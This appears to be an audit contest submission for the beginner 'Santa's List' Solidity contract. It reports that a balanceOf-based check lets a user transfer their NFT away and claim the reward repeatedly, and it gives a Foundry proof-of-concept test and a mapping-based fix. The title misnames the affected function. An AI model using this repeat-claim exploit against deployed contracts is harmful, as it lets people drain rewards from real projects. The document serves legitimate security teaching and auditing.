First Flight #5: Santa's List
First Flight #5
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

`SantasList::checkTwice` santasList.balanceOf can be manipulated thus reward can be claimed Infinite times.

bytecode

Summary

In SantasList::checkTwice the santaList.balanceOf can be manipulated by transferring the existing reward to someone and claim reward once again. Repeat this process to collect infinteRewards.

Vulnerability Details

​
function collectPresent() external {
if (block.timestamp < CHRISTMAS_2023_BLOCK_TIME) {
revert SantasList__NotChristmasYet();
}
@> if (balanceOf(msg.sender) > 0) {
revert SantasList__AlreadyCollected();
}
if (s_theListCheckedOnce[msg.sender] == Status.NICE && s_theListCheckedTwice[msg.sender] == Status.NICE) {
_mintAndIncrement();
return;
}
​

When the attacker collects the reward, the balance of the attacker becomes 1 thus attacker cannot collectPresent once again because of the if (balanceOf(msg.sender) > 0) check. It can be bypassed if the attacker transfer the existing Reward to his friend(let's say ALICE) which makes the balanceOf the attacker to 0 again. Thus attacker the collect the Present once again. Thus repeating the process to collecting the present infinite times.

Impact

// here is the proof
​
function testCanCollectedRewardMoreThanOnce() public {
vm.startPrank(santa);
santasList.checkList(attacker, SantasList.Status.EXTRA_NICE);
santasList.checkTwice(attacker, SantasList.Status.EXTRA_NICE);
vm.stopPrank();
​
vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME() + 1);
​
uint256 tokenId = 0;
​
vm.startPrank(attacker);
santasList.collectPresent();
santasList.approve(ALICE, tokenId); // approving ALICE.
vm.stopPrank();
​
vm.prank(ALICE);
santasList.safeTransferFrom(attacker, ALICE, tokenId); // ALICE transfers the NFT
​
vm.startPrank(attacker);
santasList.collectPresent();
vm.stopPrank();
}

Tools Used

  • Foundry

Recommendations

Use some mapping to track whether the user has already collected the present or not.

- if(balanceof(msg.sender) > 0)
+ if(alreadyCollected[msg.sender])
Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Weak Already Collected Check

Relying on balanceOf > 0 in collectPresent() allows the msg.sender to send their present to another address and then collect again.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.